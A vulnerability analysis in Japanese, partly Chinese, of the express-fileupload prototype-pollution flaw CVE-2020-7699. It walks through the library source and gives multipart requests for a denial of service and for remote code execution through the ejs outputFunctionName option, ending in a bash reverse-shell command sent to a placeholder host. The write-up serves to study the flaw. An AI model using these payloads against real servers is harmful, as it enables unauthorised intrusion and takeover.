CVE-2020-7699脆弱性分析
1.はじめに
CVE-2020-7699:NodeJSモジュールコードインジェクション
この脆弱性は、Nodejsのexpress-fileuploadモジュールによって完全に引き起こされます。1.1.8より前のバージョンのモジュールには、プロトタイプチェーン汚染(Prototype Pollution)の脆弱性があります。もちろん、この脆弱性を引き起こすには、特定の構成が必要です。parseNestedオプションがtrueに設定されます。
この脆弱性により、DOSのサービス拒否攻撃が発生する可能性があります。ejsテンプレートエンジンを使用すると、RCEの目的を達成できます。
2.脆弱性ソースコード分析
再現したい場合は、低バージョンのexpress-fileuploadモジュールをダウンロードする必要があります
npm i [email protected]
脆弱性の原因となったソースコード:(重要な部分)
busboy.on('finish', () => {
debugLog(options, `Busboy finished parsing request.`);
if (options.parseNested) {
req.body = processNested(req.body);
req.files = processNested(req.files);
}
if (!req[waitFlushProperty]) return next();
Promise.all(req[waitFlushProperty])
.then(() => {
delete req[waitFlushProperty];
next();
}).catch(err => {
delete req[waitFlushProperty];
debugLog(options, `Error while waiting files flush: ${err}`);
next(err);
});
});
function processNested(data){
if (!data || data.length < 1) return {};
let d = {},
keys = Object.keys(data); //获取键名,列表
for (let i = 0; i < keys.length; i++) {
let key = keys[i],
value = data[key],
current = d,
keyParts = key
.replace(new RegExp(/\[/g), '.')
.replace(new RegExp(/\]/g), '')
.split('.');
for (let index = 0; index < keyParts.length; index++){
let k = keyParts[index];
if (index >= keyParts.length - 1){
current[k] = value;
} else {
if (!current[k])
current[k] = !isNaN(keyParts[index + 1]) ? [] : {};
current = current[k];
}
}
}
return d;
};
実際、プロトタイプチェーンの汚染源は、porcessNestedメソッドにあります。この関数の使用法は次のとおりです。
例如:
传入的参数是:{"a.b.c":"m1sn0w"}
通过这个函数后,返回的是"{ a: { b: { c: 'm1sn0w' } } }
其实他跟那个merge函数比较类似,都是循环调用,因此存在原型链污染
传入参数:{"__proto__.m1sn0w":"m1sn0w"}
然后我们调用console.log(Object.__proto__.m1sn0w)
返回的值为m1sn0w
この時点で、関数processNestedが呼び出されている限り、関数のパラメーターが制御可能であれば、プロトタイプチェーン汚染の目的を達成できることは比較的明らかです。したがって、ここでは、脆弱性を形成するための前提条件を紹介します。たとえば、parseNested構成オプションをtrueに設定する必要があります。
const fileUpload = require('express-fileUpload')
var express = require('express')
app = express()
app.use(fileUpload({ parseNested: true }))
app.get('/',(req,res)=>{
res.end("m1sn0w")
})
上部のコードの最初の部分を観察します。parseNestedパラメーターがtrueの場合、processNested関数を呼び出し、パラメーターはreq.bodyまたはreq.filesです。
req.bodyはnodejsがポストリクエスト本文を解析し、req.filesはアップロードされたファイルの情報を取得します
どちらの方法でも問題ありません。ここでは、最初にreq.filesパラメーターを使用します(req.bodyは次のRCEで使用されます)
req.filesパラメータに関して、例:ファイルをアップロードするPOSTリクエスト
POST / HTTP/1.1
Host: 192.168.0.101:7778
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.0.101:7778/
Content-Type: multipart/form-data; boundary=---------------------------1546646991721295948201928333
Content-Length: 336
Connection: close
Upgrade-Insecure-Requests: 1
-----------------------------1546646991721295948201928333
Content-Disposition: form-data; name="upload"; filename="m1sn0w.txt"
Content-Type: text/plain
aaa
-----------------------------1546646991721295948201928333
Content-Disposition: form-data; name="username"
-----------------------------1546646991721295948201928333--
req.filesの値は次のとおりです。
{ upload:
{ name: 'm1sn0w.txt',
data: <Buffer 61 61 61 0a>,
size: 4,
encoding: '7bit',
tempFilePath: '',
truncated: false,
mimetype: 'text/plain',
md5:'......'
mv: [Function: mv]
}
}
上記のupluodパラメータをに変更します
__proto__.toString
那么结果就会变回:
{
__proto__.toString:{
......
}
}
parseNestedが設定されているため、processNested関数が自動的に呼び出され、プロトタイプチェーンが汚染されます。
と同等です:
{}[__proto__][toString] = { ...... }
再度ページにアクセスすると、500のエラーが返されます(toStringメソッドが変更されたため)
3つ目は、RCEにejsを使用する
プロトタイプ汚染を使用してRCEを実行するejsテンプレートエンジンに抜け穴があります(この抜け穴は当面修正されていません。使用の前提条件はプロトタイプチェーン汚染のポイントが存在する必要があるためである可能性があります)
まず、ejsでこの脆弱性の原因となったソースコードを分析します:(重要な部分はここに抽出されています)
compile: function () {
/** @type {string} */
var src;
/** @type {ClientFunction} */
var fn;
var opts = this.opts;
var prepended = '';
var appended = '';
/** @type {EscapeCallback} */
var escapeFn = opts.escapeFunction;
/** @type {FunctionConstructor} */
var ctor;
if (!this.source) {
this.generateSource();
prepended +=
' var __output = "";\n' +
' function __append(s) { if (s !== undefined && s !== null) __output += s }\n';
if (opts.outputFunctionName) {
prepended += ' var ' + opts.outputFunctionName + ' = __append;' + '\n';
}
if (opts.destructuredLocals && opts.destructuredLocals.length) {
var destructuring = ' var __locals = (' + opts.localsName + ' || {}),\n';
for (var i = 0; i < opts.destructuredLocals.length; i++) {
var name = opts.destructuredLocals[i];
if (i > 0) {
destructuring += ',\n ';
}
destructuring += name + ' = __locals.' + name;
}
prepended += destructuring + ';\n';
}
if (opts._with !== false) {
prepended += ' with (' + opts.localsName + ' || {}) {' + '\n';
appended += ' }' + '\n';
}
appended += ' return __output;' + '\n';
this.source = prepended + this.source + appended;
}
}
src = this.source
ctor = Function
fn = new ctor(opts.localsName + ', escapeFn,include,rethrow',src);
fn.apply(opts.context,[data || {},escapeFn,include,rethrow]);
下から上に分析できます。
- fnメソッドが呼び出され、srcパラメーターが制御可能である場合、関数をカスタマイズできます。
- srcパラメーターの値はthis.sourceから取得されます
- 一番上のメソッドから、this.source = prepended + this.source + added
実際、上記の関数全体がthis.sourceをスプライスしており、最も重要な部分は次のとおりです。
if (!this.source) {
this.generateSource();
prepended +=
' var __output = "";\n' +
' function __append(s) { if (s !== undefined && s !== null) __output += s }\n';
if (opts.outputFunctionName) {
prepended += ' var ' + opts.outputFunctionName + ' = __append;' + '\n';
}
}
これは実際に使用されます:
prepended += ' var ' + opts.outputFunctionName + ' = __append;' + '\n';
グローバル分析では、opts.outputFunctionNameに最初に値が割り当てられていませんでした。プロトタイプのチェーン汚染の脆弱性がある場合は、この値をカスタマイズしてペイロードを作成できます。
opts.outputFunctionName = x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x
よく見てください、なぜxが必要なのですか?xで始まり、終わりますか?実際、上記のスプライシングは完全なjsステートメントを構成します
次に、ejsを使用して上記のプロトタイプチェーン汚染を介してRCEに到達する方法を見てみましょう。
これがreq.filesの代わりにreq.bodyです
たとえば、POSTリクエストは次のとおりです。
POST / HTTP/1.1
Host: 192.168.0.101:7778
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.0.101:7778/
Content-Type: multipart/form-data; boundary=---------------------------1546646991721295948201928333
Content-Length: 339
Connection: close
Upgrade-Insecure-Requests: 1
-----------------------------1546646991721295948201928333
Content-Disposition: form-data; name="upload"; filename="m1sn0w.txt"
Content-Type: text/plain
aaa
-----------------------------1546646991721295948201928333
Content-Disposition: form-data; name="username"
123
-----------------------------1546646991721295948201928333--
req.bodyによって返されるものは
{ username : '123' }
上記のユーザー名をに変更します
__proto__.outputFunctionName
123の値を次のように変更します。
x;process.mainModule.require('child_process').exec('bash -c "bash -i &> /dev/tcp/ip/prot 0>&1"');x
リクエストを再度開始すると、RCEの目的を達成するために、指定されたホストでシェルをバウンスします。
参照リンク:
https://blog.p6.is/Real-World-JS-1/
https://xz.aliyun.com/t/7075#toc-3